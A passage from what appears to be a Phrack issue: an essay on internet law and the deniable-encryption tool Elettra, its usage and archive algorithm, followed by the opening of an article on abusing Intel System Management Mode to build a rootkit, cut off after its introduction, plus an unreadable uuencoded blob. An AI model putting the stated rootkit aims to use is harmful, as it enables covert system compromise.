M6:,WS?!0;7I!AGZ0#I;+E&G*7?),)EV=,6-`GS-FV&Q@\P@^G`6AXM.<,\8O M625D?=(J(V%7-A?QA]Z((AH8#^S.YFU@P[FM='*?!I_';>'3F*W,B<(-J&M7 MEC55LYM36O7`EVE3(:TZR7QTE4O$KCZ71R.3![:\\,AD@541C#C#[A<-.'CT M%?XU9$.RFO*`&4M^R]0'-J1^S5LVP2?H%C&+O2-M9<*WF[/<6ZG;S%LY#-K9 M$O?(O[8A\\D6T/IH]9)%O!5S/(@YTAEPRY0S,&AS6/DS:#(?V!'T*9&J-&Q3$F[!C[T8->T"O#'8ETAM(C6 M$@E%0=RI5A7BTGM8P8!><$L+C,CG:/,\OH2\._=)4N_)[ZS(.Y-?&[/&$MX7 MEIAQQPR90#-"O&`F;-I6RO1\Q.!.\;V)#079&;U]QRK#K)$9G#-+?-X0Y(6@ MGVB$52">UN!C&&*)K,IW^`S3 M3\2:J+\OL]`X%2'[#E7;(*K;B63+-A.E"%HV.Z/H)-906*^VEE`N[8&5FEA-^8R/B6-RL1JJ5HF5 M'K_\EO]L%8T^4[)&5O&GD5V8)S]H66E?61[G>6?Q_.?/QF^/E'QLBE%K3`)D ML`"4-RBC4J0Y/='[PVV=Y^(#.*/QZ_/3]ZU=9P(&^I+^0 MRDE^?7T!_N@I4P6>GGZ0QYN/C\'0 MN1(Z9?+QBRBN\]OA<$-Z=/K[UW^QPQF;7T#R,3T!_0=,X!-02X_LL_QD#"5H M_$[)&:<'=+*?O7]/CSW+<\\G&4:_EPXI#\\3A%*=..2"U?)3GY*D2)ZW$3K\B_"DG M1"8)$C)4YN.D1!<5SA*%G;)28.9Q`8Q#A2R+SA?+"F.?,\9\/RIRD`KXI!H# M98?^`_[QXS\/'47%##G."?QP>`I+5.6%NG+LP+#[^IZ-Z7M/J9+%R)I>DL;< M\/%78W+DH?TBP5F1L]?();D"TP.";X;L4/9DTG&)["` M*,2INF,L'G,TLKILKW)=VO?G/W[(:F@B0T06Z:*4(7+,/ZERA#S9G:.5#DMH M\3T34:&78D?9V`2:9>2)9*6L]`T>I,5O\BH2A/9%6LGCQY/*%NFYN$.5J:R` M1@V^CB@Y$:DLY_'G*O.L@`=%*/3Z>E2=2GE%JPXC#Y[KTN%A=*@-E-<1:O7V%)%__`Y/>Y2QF;J'_#:-:*9) MA&DA#EG=X^\_TOA%'?.36R<%.TI90$XK<[P(F.9;G53P.`"*4ATOP:6'+(\+ M>AR@TKH=+\'E)S%/*WP<8$5ICI<@T\.:QP4\2CFGLI3)DY(]-79:.B?[_NO) M]S2"EX5`7DN#RE=*4E!/.JI)(72F5U/K'[Q]+_]L:ET4K6M&*5K2B M%:UH12M:T8I6M*(5K6A%*UK1BE:THA6M:$4K6M&*5K2B%:UH12O:_VO[+\U> &F;<`>``` ` end ==Phrack Inc.== Volume 0x0c, Issue 0x41, Phile #0x06 of 0x0f |=-----------------------------------------------------------------------=| |=--------=[ The only laws on the Internet are assembly and RFCs ]=------=| |=-----------------------------------------------------------------------=| |=-------------------=[ By julia@winstonsmith.info ]=--------------------=| |=-----------------------------------------------------------------------=| ------[ Index 0 - starting point, our world and the Internet 1 - What's an incoherent law ? 2 - DEEP FOCUS, AND REAL TARGET: RIPA III 3 - Elettra 4 - THE ANONYMOUS IDENTITY: julia@winstonsmith.info 5 - REFERENCES ------[ 0. starting point, our world and the Internet 2008: During the past 10 years the Internet accrued its value in a way that was not predictable. A lot of players are trying to gain power over it: recording and cinema industries, governments, software vendors. Eight, ten years ago our feeling with the net was hacking pleasure; now, the hacking techniques are recycled by security vendors for their security services. Once the diffusion of a crack was proof of value, now it only represents the risk to be busted. A lot has changed and for someone this is the opportunity to reconsider and eventually change both his ways of acting and his priorities. The spirit has changed: may the energies be readdressed? Is there space for fun, still, and where? The game now is hard. The tools in our hands have changed and threats are much more realistic. Hacking is a game, but now the risk level has to be carefully taken into consideration to protect ourselves and the people near us, to avoid jail or being exploited. Media industry, political entities and vendors are trying every possibility to set foot where they can have even a minimum of control over users. This is because control, even if only partial, means power. We can envision how the Internet, its operating systems and softwares operate. We clearly know what is going on, and why it works in that specific way and not otherwise. Those who are trying to get their hands on the network and on the Internet users often (and fortunately) do not have the skills necessary to understand the concepts on which the network is based. The fact that the internet society is based on technical rules before that on moral ones is somehow less natural for us to believe. So it happens that computers and the Internet are subject to legislation, control and governmental based restriction, whilst the Internet and computers are by definition the same all over the world and the Internet is made by all users equally. Whether it speaks of computers, hard drives, forensic analysis, censorship or wiretapping, items are always the same. We can still understand this, while the politicians are on average 50 years old and spent more or less 30 of those years in the political career. Information technology has been developed seriously in recent 15 years, so it is normal that politicians do not understand anything of IT matters. Other than that, we see that political choices must enjoy the support of the people, but people have not a better comprehension of IT matters than politicians. This explains why no one has yet seen a law making some real sense from a technological point of view and yet achieving its purposes (which usually consists of an increased sense of security). We think that we are the ones who can demonstrate that the Internet follows different laws. That's because we are the generation born with the Internet and we are able to speak internet language enthusiastically. We, as developers, can not write laws nor directly challenge them, but we can develop software demonstrating from a practical point of view how wrong these laws are. It seems to us that this is the most effective and less painful way to show politicians their mistakes and give citizens their freedom, ruled on the Internet by mathematical logics. It is told by the Hacker Manifesto: "I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it's because I screwed it up. Not because it doesn't like me... Or feels threatened by me... Or thinks I'm a smart ass... Or doesn't like teaching and shouldn't be here..." Mentor's ideas in the 1986, and our ideas since then, are the same for all the Internet users even now. If this freedom of acting is disturbing to someone, it's our duty to remember that this freedom cannot be erased. The incentives to hack have changed, exposure may have become uncomfortable ...so an anonymous identity rises: julia@winstonsmith.info, dedicated to the spread of software written to demonstrate the inconsistency of laws to control and limit users and the Internet. ------[ 1. What's an incoherent law ? As the tendency to create inadequate laws is increasing, for what concerns the control of the internet and its users, we felt the need to question this modus operandi. The goal is to create software designed to demonstrate that most laws that restrict and control the Internet are inadequate (unnecessary, counterproductive and risky). You, more than any other community, have the chance to demonstrate that any law trying to: - regulate the Internet or computer use from a governmental point of view - control users communications (by filtering and limiting them) are not enforceable from a scientific point of view, because they are mere transposition of real life laws on the digital dimension. In general, our line of action can rely on this logic: - A law is promulgated (data retention, search profiling, forbidden publishing...) - We analyze two aspects: 1) the logical structure of the law, in order to understand its bases 2) the technical implementation of the law - From (1) we can see and develop ideas not considered - From (2) we can develop technical solutions - The news that the law is a failure has to be spread. In fact, our knowledge has no impact on politics, the audience and the users information if it remains in our hands. One example of law-reversing-and-attack could be: 1) Human side: A state deploys a law that forbids speaking about cryptography 2) Tech side: being the domain owner of a website speaking of cryptography lands you in jail. 3) Tech implementation: once the police is notified of the existence of a server inside country boundaries serving forbidden content, an email is sent asking to remove the pages, or in a short time the domain owner will be busted and the server unplugged. human countermeasure: 1a) Migrate to a free blog/website outside your country. hacker countermeasure: 1a) Use a TOR hidden service, reachable through the Internet with a proxy in another country [1] 1b) Use a FreeNET website [2] 1c) Post your content with an anonymous remailer to a mailing list [3] 1d) Publish your contents via peer to peer network using a digital signature for trusted download, with the first node publishing the data outside the country. 1e) Use a self decryption javascript site, capable to protect session layer and cutting off crawlers that don't support javascript (-> open source intelligence too), in some free-blog outside our country. [4] 1f) A distributed server like "project R*" from "Autistici/Inventati" [5]. 1g) Use one of the other infinite solutions, because we should move ourselves among the RFCs, spreading software automatically and always find new ways to bypass the law description. The Internet for the mere users is only "the web", whilst we have more possibilities. But we fail to keep our servers online, or to publish our information without problems, because we are not using the best solutions in strong encryption and network distribution. ------[ 2. DEEP FOCUS, AND REAL TARGET: RIPA III RIPA (investigation of electronic data protected by encryption - power to require disclosure, [6]). In practical terms, it is the possibility for an UK investigator to request the password protecting an encrypted file: in case of refusal or impossibility to give the password, the user it is punishable with up to two years' imprisonment. Comparing this with the real life, it is the equivalent of a law requiring a suspect to open his safe to investigators. But computers and the Internet move on other schemes. In addition, this law is specifically making the UK less secure. Let's see why: - A person possessing an encrypted archive containing secrets potentially incriminating for a more than 2 years punishment will accept the 2 years imprisonment instead of revealing the password. - The one whose encrypted archive doesn't contain secrets incriminating, but sensitive political, personal information, will give them to police (or, more often, to private consultants that practically proceed with the forensic examination). - Theoretical security is not achieved by delegating the power to control to an institution, because if this is corrupted it would become the gateway for any sort of abuse. Theoretical security can be achieved by preventing future crime, not by applying controls in order to act as a deterrent. Following the logic presented in the point 2 of this document, a safer way to avoid RIPA-III is to use a more sophisticated way of protection. Encryption models use to define actors (Alice & Bob) and scenarios (with Mallory, Eve and the Family of Attack). The encryption model required to hide the data, and the presence of encrypted data, is steganography [7]. In our scenario it is enough to demonstrate the absence of encrypted data, and cryptography offering a "plausible deniability" is our solution. Deniable cryptography allows a user to protect his data by plausibly deny existence of hidden data inside an encrypted file. This kind of protection is very useful when the user is compelled to give up the password by violent or intimidating methods [8]. Different forms of deniable cryptography are currently used: - TrueCrypt [9] implements full disk encryption. The image of a second encrypted disk is hidden inside free sectors of a container filesystem. Since a TrueCrypt disk is first filled with random data, it is not possible to differentiate between free sectors with random data on them and sectors with encrypted data of the hidden volume. As a consequence of this, the TrueCrypt user can plausibly deny existence of the hidden disk. - OTR (Off-the-Record messaging) [10] is a cryptographic protocol that provides strong encryption for instant messaging. After authenticating the user (via key fingerprint comparison) it encrypts messages without checking their digital signatures. This lack of integrity check allows the sender of a message to plausibly deny sending that message since any other user could have been the sender. - 2c2/4c [11]: It takes two input files and generates an output. Depending on the password used it decrypts one file or the other. The goal of deniable cryptography is to deny the existence itself of a piece of information. Steganography has the same goal (steganalysis is effective only after the existence of hidden data has been proven), but it is more ambitious in hiding the data to the adversary because it carefully chooses a container that prevents an analyst to realize that the container covers hidden information. In case of an encrypted file, the attacker already knows it could contain valuable information; the aim now becomes to deny the existence of the data inside the exposed container: in such a situation, deniable cryptography has higher signal-to-coverdata ratio compared to steganography. ------[ 3. Elettra Elettra can generate archives of multiple files where a different file is extracted depending on the password provided. This because the password used for encryption is not only an "information required for decrypt" one file in the archive, is also the "information required to find" a file in the archive. Every file is encrypted with its own password. Every password unlocks a single file. Since elettra can add random padding to an archive, it's impossible to determine how many files are contained in it. Plausible deniability consists in allowing the user to deny existence of other files except the only file he revealed the password to. Elettra bases its security on mathematical principles derived from reverse-engineering on the RIPA and its possible interpretations. Elettra is a command line program developed for POSIX systems (tested under Linux, cygwin and MacOSX). A GUI wrapper developed in wxWidgets has been developed and both software, with related gpg signature, are available at: https://www.winstonsmith.info/julia/elettra Despite the fact that the GUI was coded in a tenth of the time spent for Elettra, it helps a dramatically wider range of users to understand and use the program. Usability and easiness of distribution of a software have rarely been a goal for hackers, but this time we want to highlight and spread a way of action/reaction made possible by open source technologies and a network able to quickly communicate a content. The GUI is a necessary compromise between features and usability :) How to use Elettra: user@linz:~/elettra/src/build$ ./elettra ./elettra by julia@winstonsmith.info, http://www.winstonsmith.info/julia You should improve the quality of life, using privacy enhancing technology! ./elettra encrypt outputfile [size increment]% plainfile[::password] ./elettra decrypt cipherfile [password] [output directory] ./elettra checkpass password(s) ./elettra example (show examples of use) - passwords, if not available, is ask with echo off Elettra in encrypt mode user@linz:/tmp$ ./elettra encrypt output 10% file1::passwd1 file1::passwd2 user@linz:/tmp$ ls -l file1 file2 output -rw-r--r-- 1 user user 7132 Jan 15 18:35 file1 -rw-r--r-- 1 user user 36287 Jan 15 18:35 file2 -rw-r--r-- 1 user user 29027 Jan 17 10:35 output Further generation of /tmp/output file, with the same file/password: -rw-r--r-- 1 user user 30744 Jan 17 10:36 output -rw-r--r-- 1 user user 32018 Jan 17 10:36 output -rw-r--r-- 1 user user 29533 Jan 17 10:36 output One goal of the algorithm is that the outputs differ given the same input. In practice you can keep the smallest output. here are some outputs with a padding of 100% -rw-r--r-- 1 user user 65198 Jan 17 11:43 output -rw-r--r-- 1 user user 54336 Jan 17 11:43 output -rw-r--r-- 1 user user 57579 Jan 17 11:43 output -rw-r--r-- 1 user user 64938 Jan 17 11:43 output -rw-r--r-- 1 user user 67284 Jan 17 11:43 output -rw-r--r-- 1 user user 29219 Jan 17 11:43 output -rw-r--r-- 1 user user 48946 Jan 17 11:43 output -rw-r--r-- 1 user user 37260 Jan 17 11:43 output and some with 1000%: -rw-r--r-- 1 user user 247351 Jan 17 11:43 output -rw-r--r-- 1 user user 109079 Jan 17 11:43 output -rw-r--r-- 1 user user 303188 Jan 17 11:43 output -rw-r--r-- 1 user user 301261 Jan 17 11:44 output -rw-r--r-- 1 user user 290419 Jan 17 11:44 output -rw-r--r-- 1 user user 288720 Jan 17 11:48 output -rw-r--r-- 1 user user 114376 Jan 17 11:48 output -rw-r--r-- 1 user user 169173 Jan 17 11:48 output -rw-r--r-- 1 user user 197720 Jan 17 11:48 output -rw-r--r-- 1 user user 114376 Jan 17 11:48 output -rw-r--r-- 1 user user 266452 Jan 17 11:48 output The third argument is the filename of the archive that is going to be created. The fourth argument (optional) is the amount of random padding that will be inserted at the beginning or appended at the end of the compressed archive. Padding can vary between 10% and 1000%. How encryption works in Elettra: Elettra has five command: encrypt, decrypt, checkpass, help and example. Is executed with: elettra command [args] We want to encrypt file /tmp/ls-manpage and /tmp/ps-manpage. two file = two password we use "weirdness" and "foxnewsshower", the order link: ls-manpage (weirdness) ps-manpage (foxnewsshower) $ ./elettra encrypt /dev/shm/output 15% /tmp/ls-manpage::weirdness \ /tmp/ps-manpage::foxnewsshower the size of our source file are: $ ls -l /tmp/ls-manpage /tmp/ps-manpage -rw-r--r-- 1 user user 7132 Jan 8 05:57 /tmp/ls-manpage -rw-r--r-- 1 user user 36287 Jan 8 05:57 /tmp/ps-manpage The command line specifies 15% of random padding. Required args for the "encrypt" command, are the output file, the source files and the passwords. If passwords are not inserted via command line, they are prompted interactively. Before the encryption gzip compression is used, the output file is: $ ls -l /dev/shm/output -rw-r--r-- 1 user user 42615 Jan 8 06:13 /dev/shm/output Now we have an encrypted archive. The elettra decryption routine takes a password and, optionally, a destination directory: $ ./elettra decrypt /dev/shm/output weirdness /dev/shm/ $ ls -l /dev/shm/ -rw-r--r-- 1 user user 7132 Jan 8 06:32 ls-manpage -rw-r--r-- 1 user user 42615 Jan 8 06:13 output If you want to check your passwords, use the command "checkpass": ./elettra checkpass actresss weirdness shoeless password(s) combinations work ok, with password block of 512 bytes, use it. If checkpass or encrypt command receive a bad password sequence, notice to the users. This is how an elettra output file looks like: RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRKKKKKKKKKKKKKKKKKKKKKKKKCCCCRRRRRRRRRRRRRRR RRRRRRRRRRRRRRRRRRRRRRKKKKKKKKKKKKKKKKKKKKKKKKCCCCRRRRRRRRRRRRRRRRRRRRRRR RRRRRRKKKKKKKKKKKKKKKKKKKKKKKKCCCCRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR /-- end of initial keyblock, start of data section --/ RRrrrrccccllllddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddddddddddffffFILE1PPPPPRRRRRRRRRRRRRRRRRRRRRRrrrrcc ccllllddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd dddddddddddddddddddddddffffFILE2PPPPPRRRRRRRRRRRRRRRrrrrccccllllddddddddd ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd ddddddddffffFILE3PPPPPRRRRRRRRRRRR K = Key C = checksum of password R = random padding (before the entry point) r = random encrypted bytes (used in AES CBC) c = checksum of key l = length of the compressed file d = compressed data f = length of filename FILE1, FILE2, FILE3 names of decrypted file P = encrypted padding to fill the minimum AES-128 block up to its end Random padding is generated with cyclic SHA256 functions. K and C are in the first segment, called "initial keyblock", the other components are the data in the elettra archive. Here's how the file is created: encrypt takes OUTPUT PADDING FILE[1..N] PASSWORD[1..N] arguments try for n in [1 .. N] HASHp_n =hash(PASSWORD_n) Each of these hashes is required for obtaining an unique number dependent from the password. This unique number (which is modulo the initial keyblock size) is named "entry point" thus obtaining an entry point for each file in the archive. It is called entry point because it identifies the point where reading will start at decryption time initial keyblock: /----------------- keyblock length: 512 + (x * 256) ----------------/ +--------------+--+----+--+--------+--+----------------------+--+---+ | | | | | | | | | | | Random | | R | | R | | Random | | | | | | | | | | | | | +--------------+--+----+--+--------+--+----------------------+--+---+ ^ ^ | | entry point --+ | +- password block struct (32 byte) The keyblock length is not hardcoded but its value is choosen in an adaptive way in such a way as to avoid password struct block collisions. A collision occurs if two or more password struct blocks overlap. Obviously a collision may disrupt the information contained in the initial keyblock and as such it has to be avoided. The password struct block is encrypted with the PASSWORD[1..N], and contains an unsigned int checksum and a 28 byte KEY[1..N]. This mean that each password computation identifies an entry point inside the initial keyblock where the key resides encrypted in 28 of the 32 byte of password struct block. The other data in the initial keyblock are random. This is the algorithm shown in pseudocode: for x in [1..12]: { size = (random_between(1, 12) * 256 ) + 512 size = size + ( N * 256 ) create keyblock[size] for n in [1..N] add_password_hash_to_keyblock(HASHp_n); if keyblock[size] has collision continue; else use size as good value } When a keyblock size is found, continue to the next step: creation of data section. for n in [1..N]: { GZ-FILE-LEN_n = gzip(FILE_n) } totalsize = keyblock size for n in [1..N]: { MIN-EP_n = totalsize; totalsize = totalsize + (GZ-FILE-LEN_n * PADDINDG% ) MAX-EP_n = totalsize; totalsize = totalsize + GZ-FILE-LEN_n } In this step we'll get the total length of the Elettra archive to build through using two arrays MIN-EP[1..N], MAX-EP[1..N] defined later. Suppose to encrypt two elements: /----- GZ-FILE-LEN 1 ------/ /----- GZ-FILE-LEN 2 -----/ +-------+--------------------------+-------+-------------------------+ | | | | | | R1 | GZ-FILE1 | R2 | GZ-FILE2 | | | | | | +-------+--------------------------+-------+-------------------------+ ^ ^ ^ ^ | +--- MAX-EP1 MIN-EP2 + | +- MIN-EP1 +-- MAX-EP2 R1 and R2 are two padding blocks. The dimension of these blocks depends on the padding % value, the size of the compressed file and a bit of random. The entry point for identifying FILEn position MUST fall between MIN-EP_n and MAX-EP_n. This second entry point is derived from KEY_n and so the keys KEY[1..N] are chosen in order to fulfill this requirement following the algorithm reported below: for n in [1..N]: { for x in [1..10000]: { KEY_n = random() HASHk_n = HASH(KEY_n) EP_n = HASHk_n % totalsize if( MIN-EP_n < EP_n < MAX-EP_n) return KEY_n; } } /----- GZ-FILE-LEN 1 -----/ /----- GZ-FILE-LEN 2 -----/ +---+-------------------------+----+---+-------------------------+---+ | | | | | | | | R | GZ-FILE1 | R | R | GZ-FILE2 | R | | 1 | | 2 | 3 | | 4 | +---+-------------------------+----+---+-------------------------+---+ ^ ^ ^ ^ | | | | +--EP1 MIN-EP2--+ + EP2 + B R1 is the first block of random (from MIN-EP1 to EP1) R2 is the post file padding (from EP1 + GZ-FILE-LEN to MIN-EP2) Every file is written between two random sequences of padding blocks. The length of each padding sequence is random. Every length is plausible before and after a given file, because the attacker doesn't know the padding percentage requested at encryption time. Now the algorithm has retrieve: 1) The length of inital keyblock 2) The entry points derived from the passwords 3) The keys 4) The padding sections 5) The internal structs used for keeping file names, file lengths and checksums saved before the file data just after EP_n Now it's simply a matter of opening a file, writing the initial keyblock and the data section and save. Decryption sequence for Elettra: 1) Password and input file are given 2) The password is hashed and this value (referred as HASHp) is used to search the initial keyblock size. The possible value are obtained with the following algorithm for x in [1..80]: try_size = 512 + ( 256 * x ); When the password is able to decrypt the first 32 bytes pointed by HASHp modulo try_size and to verify the internal checksum, the initial keyblock size is identified. 3) Read the key from the initial keyblock, decrypt it and evaluate its hash modulo the file total length. 4) Decrypt the first 32 bytes. If the checksum matchs, decrypt the file length, decompress it and rename it with its original name. Conclusions about algorithm: An analyst that will have to analyze files encrypted by using Elettra will not be able to make any assumption a priori, since the algorithm aims at behaving randomly in order to make any output plausible. Every Elettra output file should contain one or more file, and is plausible assume that only one file had been encrypred, because the padding before and after the decrypted file seem plausible random padding. The security of this algorithm is based on the propriety of encrypted data to appear fully random over a statistical analysis. An attack which is able to detect the difference between compressed+encrypted data and random data could exploit Elettra. An example of plausible deniability: The analyst has found a 1.4Mb long file, encrypted by using Elettra. Using the user provided password, he extracts a .pdf file 2Mb long. Then, the following is plausible: A: the user has ran Elettra with a 40% proportional padding. The file size was 2Mb and it has been compressed in 1 Mb. Before the beginning and after the end of the file a total of 400k bytes of random padding has been added. But it is also likely that: B: the user has used a 2Mb long .pdf as covert file and a 200k file of secret data. The compressed size of the .pdf was 1Mb, but the other file could not be compressed anymore, so its size stayed 200k. From 1Mb compressed .pdf + 200k of secret file and a 16% proportional padding it has been created the 1.4Mb resulting file. Both cases are plausible: either way the analyst has a password that extracts a .pdf file 2Mb long that compresses in 1Mb. The analyst could then inspect which part of the file is decrypted, but the position of an encrypted file in the archive gives no information, since it is plausible that both before and after each file in the archive there is random data. Elettra has been developed with these attacks and countermeasures in mind: 1) Files are encrypted with AES-128, random padding is the output of SHA functions and it is also mathematically impossible to say if data is encrypted or just random noise; 2) It is not possible to make assumptions based on the final size of the archive (e.g. verifying if the padding is a whole quantity or a fraction is useless because the proportional increase of dimension supplied by the user is not used as is, but a new value is derived from it; 3) Checksums used to verify integrity of passwords are implemented, and are checked before the decryption of files; 4) In algorithms that work in CBC mode, first bytes are initialized with random data to make cryptography stronger; 5) The probability distribution of random data is equal at the beginning and at end of the encrypted file. 6) Minimum password length is 6 bytes. 7) Disclose a password or a key doesn't give to the attacker any information useful for attacks. Elettra counts more or less 1600 lines of source code. Every other coder could have found other ways to accomplish the same task, even less complex than the one presented in this article that requires to remember multiple different passwords. In such kind of program there is always room for improvements. The important thing to think about is that in a couple of weeks somebody could develop something unforseen and unexpected by laws, but still perfectly legal. ------[ 4. THE ANONYMOUS IDENTITY: julia@winstonsmith.info The name Julia comes from the novel "1984", as the whole Winston Smith Project. Julia shows to Winnie the way, the tools and the motives for freedom. Thus, this Julia - just when the Internet is fighting for its freedom - wants to be the one who demonstrates how laws written by politicians are incoherent, inconsistent, unnecessary. Spreading techniques aimed to the human rights protection on the Internet have a goal that is not related to personal visibility. On the contrary, in some cases personal safety can be endangered by the spreading of the technique. Thus, other spreading techniques have to be evaluated. We created an anonymous group identity to have a single reference point (a name, a keyword, an ideal). This experiment brings us some advantages: - Visibility is obtained as a collective effort, and can survive the single work - Coders minimize legal and personal risks - Both individual confrontation and preservation of one's identity inside the group are diminished - At the moment there is no central blog or web site, as centralizing means being exposed to the risk of being censored, attacked or to draw unneeded attention - The collective identity identifies itself through a digital signature, and media can be distributed using p2p, web sites, blogs, usenet. The most choices we have, the most options we can consider. - We are a network made up of people around the world with the skills, the knowledge and the ability to deeply understand problems related with our countries. Those who want to team up with julia@winstonsmith.info can write an email message (we strongly suggest using an anonymous remailer or TOR and a throw away email address). The anonymous identity will not have a web site to express itself, Elettra gets served from url http://www.winstonsmith.info/julia/elettra. Please note that this is done just for convenience, and has no relationship with the anonymous identity. The only way to verify the authenticity of the source is the digital signature of media using the following key: -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.4.7 (Darwin) mQGiBEdqIL0RBAChcjI1XSCY6uBj8tt822t3QAIrbUgIL1f+fknclPHPQqjyv+DI H793WaP2TlJ0mPNJqK2D8pyhO1l8MMzZIzNq+86zblogLklYUo68LbznUPJYNl0f 5Idg6DoNHO7JyXxU1aKq15sLD92izRX5g6Jx7V14DTP/gIB+vZjtcykBZwCgmqC1 YZv/KKVtoSyX/QR0YdJk5ecEAJPurJEm82wshma7RxuOL5UDBhRR4WUBquYa5L35 rTeswSZ/5MFAX4G3VWNb28RZMcDKrd2XIbPA/NI8uVNPEmtmdrF4bA7IGYYPmwuz SsL3MN0YcDdh8slrqNBuBFNsH95xm4FQKWc+rPPYvZVSsLBosJz9OXPJJYVh61X8 KDSzA/9bovS6D8e02en5t3XScUSBdU4GCHqqgRLpbfTECSXm2KhA2TtnSQ84lqCL eKs4i955xmF6vQ3bZIATpohSPBz/CdvVPcwNIffVxAwX4bDJDdkXkvd2prWibBJ4 VSzcNVfyvRgYGbrTjq7Aok1f3d/GCQz0oMzGLhs8ZY0xkRNJD7Q0anVsaWEgKGFu b255bW91cyBpZGVudGl0eSkgPGp1bGlhQHdpbnN0b25zbWl0aC5pbmZvPohgBBMR AgAgBQJHaiC9AhsDBgsJCAcDAgQVAggDBBYCAwECHgECF4AACgkQ83466PEEGF9S BgCeIrFkSGSUlOYhXZCNcGmmMrB1h1wAnRUL6+VOQ0SxbYTnTpDIMgGwA3byuQL1 BEdqIL0QC6C3T5hpVjgCTHUjbhu/gql/hHQV0u6av5fDGAYZmQPcDRYb5FP76+Kp 6DDLsSDo95DG1STO8QjRNrrz8tOftC6+F4kMxh1KvcyWEeam8GxYMytpQwDN2Nqr J3tV9Q24Nv4wUd7vHNqBlcJKeWyQGxBzebelBgAOyMb4YsIGEZJgR4F+o1R2jQYW rcNPp11aJtxyl2dApaHulzEjMCIDNKnJpbi4lLuqGVaht5NMypxsRnclb1Nw87VY jrhyJNGT4tojm7ERzJjNLUenTgda788ivWIse68t5WHh7BIGMyNiMKMGjI2R81ei c+M+O/wL59eh6EGv7V3nZz6qB07f8i3fsNgUF1YFrB2nHtEQTWvb62oGZG+OP5Fp tGyNhH3HN1VhBRg0eGSEZCGFHZU2chGyOPMqynfsf7o8dkNi8+Ydd0eIn3TlH6of Xy/TqlQAWS5BUhBX7CEpiO1XPh07o2FLyRPQiElSJ3inCh4sOde/vuFp7RMAAwYL n3i13almOtHB4qz0J4h/J8TgDaHYmAidYRpr9m6LpKysomHNrtj2U0Am2DmjI25H LvkOECX9x9yp98WGlzOllZA++YnCSpuG4b03VsLPqmD/r/VdcXrli5cs+UB7O8L2 2P19L+RO89+SieDEKHrKbfkkM3w4OJ+5/mfxejNfoRh0/GBJgoWGj+h/dChmvE7O alCFDJ5q8Q1QyHMNbMuZxfub+TnpINeHkwiMeaFZRcmaBtjb7T3J+EPf0dUtxXBQ 0F8RzypLEI8FLV/SU+pkynCkp2o6wnRVs8Lms6xci1WE1asr+2Xp9vLN4ppIfo6x reYKegPcFAw21UuBx6c7OKzEwRFB0OUSGS1Mdzt0ekq2j6Axk5WVShsDcdW+SI5N fKKqSCWSQE9dbekHUXpBkkbI85uJ2F6QOtMFEJGlw5XTAvJyuamVqXyq6SE5AyVL bQ9bfCtizrCOn3h547m7nm6RQ+3JfnCVjJqB9eFtP6WFIsDKKIhJBBgRAgAJBQJH aiC9AhsMAAoJEPN+OujxBBhf16YAnRJLQTTY6JiJGDJG4f2JJFUxereAAJ9hXs0P /yO+HtkGHnfSuwoaRvSQdw== =+vKf -----END PGP PUBLIC KEY BLOCK----- Whoever shares the objectives of the Julia project can contact the address julia@winstonsmith.info (anonymously or not). Future objectives are not clear, still. It would be interesting to put together a list of all the world's laws and the technologies which render them useless. Somewhere this activity may be seen as misdemeanor incitement, that's why we choose an anonymous identity, and no fixed media to publish material. Julia was not born by the will of a single person, but because we felt the need of other people to be able to share and give information and techologies that can help build freedom of expression, privacy rights, technological awareness. Julia is just a landmark, whoever shares the same aims can pursue them without it. No vendor and no State, however much we can respect it, can rule the Internet. Open technologies belong to everybody. -------[ 5. REFERENCES [1] http://www.torproject.org/docs/tor-hidden-service.html.en [2] http://en.wikipedia.org/wiki/Freenet [3] http://www.andrebacard.com/remail.html [4] http://pajhome.org.uk/crypt/sda/index.html [5] http://www.autistici.org/en/who/rplan/index.html http://dev.autistici.org/orangebook/ [6] http://www.opsi.gov.uk/acts/acts2000/ukpga_20000023_en_8 [7] http://www.cl.cam.ac.uk/~rja14/Papers/jsac98-limsteg.pdf [8] http://en.wikipedia.org/wiki/Rubber-hose_cryptanalysis [9] http://en.wikipedia.org/wiki/TrueCrypt [10] http://en.wikipedia.org/wiki/Off-the-Record_Messaging [11] http://lcamtuf.coredump.cx/soft/2c2.tgz ==Phrack Inc.== Volume 0x0c, Issue 0x41, Phile #0x07 of 0x0f |=-----------------------------------------------------------------------=| |=-----------------=[ System Management Mode Hack ]=------------------=| |=-----------------=[ Using SMM for "Other Purposes" ]=------------------=| |=-----------------------------------------------------------------------=| |=-----------------------------------------------------------------------=| |=---------------=[ By BSDaemon ]=--------------=| |=---------------=[ ]=--------------=| |=---------------=[ ]=--------------=| |=---------------=[ coideloko ]=--------------=| |=---------------=[ ]=--------------=| |=---------------=[ ]=--------------=| |=---------------=[ D0nAnd0n ]=--------------=| |=---------------=[ ]=--------------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ March 29 2008 ]=--------------------------=| |=-----------------------------------------------------------------------=| "Very nice! How much?" - Borat Sagdyiev ------[ Index 1 - Introduction 1.1 - Paper structure 2 - System Management Mode 2.1 - Pentium modes of operation 2.2 - SMM Overview 2.2.1 - SMRAM 2.2.2 - SMI Handler 2.2.3 - SMI Triggering 2.2.4 - Duflot discovery - Exploit 2.3 - Duflot misses 2.3.1 - PCI Configuration 2.3.2 - Why and when the system generates a SMI 2.4 - SMM Internals - Our first experiences 2.4.1 - Analysing the SMM registers 2.4.2 - SMM Details 3 - SMM for evil purposes 3.1 - Challenges 3.1.1 - Cache-originated overwrites 3.1.2 - SMM Locking 3.1.3 - Portability 3.1.4 - Address translation 3.2 - Copying our code in the SMM space 3.2.1 - Testing 3.2.2 - Descriptor caches 3.2.3 - Code relocation 4 - SMM Manipulation Library 5 - Future and other uses 6 - Acknowledgements 7 - References 8 - Sources - Implementation details ------[ 1 - Introduction This article will try to explain some details about the Intel Architecture [1] and how it can be manipulated by a malicious user to create a complete hardware-protected malware. Also, since the main focus of the article are the System Management Mode [1] features, we will go into details of the Duflot [2] study and beyond, showing how to create a stable system running inside the SMM [3]. It's important to mention that everything showed here is really processor-bridges-dependent (we are focusing on Intel processors [1]). Since inside the SMM a malware could manipulate the whole system memory, it can be used to modify kernel structures and create a powerful rootkit. ---[ 1.1 - Paper structure The idea of this paper is to complete the studies about 